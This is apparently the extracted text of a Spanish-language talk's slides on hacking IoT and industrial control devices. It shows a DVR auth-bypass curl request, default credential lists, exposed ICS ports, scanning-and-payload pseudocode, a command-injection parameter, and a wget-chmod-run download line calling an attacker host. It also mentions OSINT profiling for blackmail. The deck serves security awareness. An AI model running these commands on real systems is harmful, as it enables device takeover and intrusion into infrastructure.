
Ciberseguridad e inteligencia: 
Realmente estamos seguros ?

Rafael   
      @Bucio  



Vivimos en una etapa de la historía donde todo 
queremos conectar a Internet

para facilitarnos la vida.























curl "http://<dvr_host>:<port>/
device.rsp?opt=user&cmd=list" -H 

"Cookie: uid=admin"





Internet de  
las cosas  

industriales





¿How to Hack [I]IoT?





Puerto info ¿Auth?

*00** Automatic Tank Gauges yes/default/

102

S7 (S7 Communication) is a Siemens proprietary protocol 
that runs between programmable logic controllers (PLCs) of 

the Siemens S7 family. 
yes/default/

*0000

DNP3 (Distributed Network Protocol) is a set of 
communications protocols used between components in 

process automation systems. Its main use is in utilities such 
as electric and water companies. 

yes/default/

445  port 445 is "SMB over IP" yes/

Vectores/ports*



txt*cont info ¿Auth?

P*we*Log** Revenue and power quality meters for utility network monitoring NO/default

MX-M364N
IMPRESORA, COPIADORA, ESCÁNER, FAX Y. ARCHIVO 

DOCUMENTAL
yes/default/

form: 
type:password

Formulario de contraseña 
yes/default/

Vectores/ports*



admin:admin 
root:admin | admin:1234 

root:root | root:(none) | admin:password



Scanning 
is not 

a crime 



C
&
C

Range	CDIR	
	Port,BW,Threads,Filename

IF	[	PORT	==	OPEN	]

Execute	PayLoad

01

02
} /*form*/

ip,port	->	class	payload	();02.1
def	_	_	init	_	_	(self,ip,port):

- -	-	—	-	-	-	-	—	-	-	
- -	-	—	-	-	-	-	-	—	-	-	
- BlackBox

return	true,	“Vuln”
return	true,	“Not	Vuln”



if - > 
http://$IP/IoTSystem?
user=user&pass=somePass  
——— > UPLOAD, form->file.. 
… 
if .. 
.. 
if .. 
.. 
if - > 
http://$IP/IoTSystem?user=./../bin/
sleep 10&pass=somePass 

02.2

200 0k-



$ s0m3wget http://atacante.com/
Instalador.sh -O /tmp/a.sh ;chmod +x /
tmp/a.sh ;/tmp/a.sh > /dev/null 2>&1 &`

03



Ejemplo/s/



Ejemplo 01 -MX



Por ultimo… qué viene a futuro…

Leaks + public information = BlackMail

 

open source intelligence (OSINT) + BadPerson





Creación de perfiles…

Contraseñas Viejas.
Gustos y costumbres (net)

Música Favorita
Lugares mayormente 

frecuentadosRedes Sociales



Gracias !! 

@Bucio 
Rafael@tpx.mx


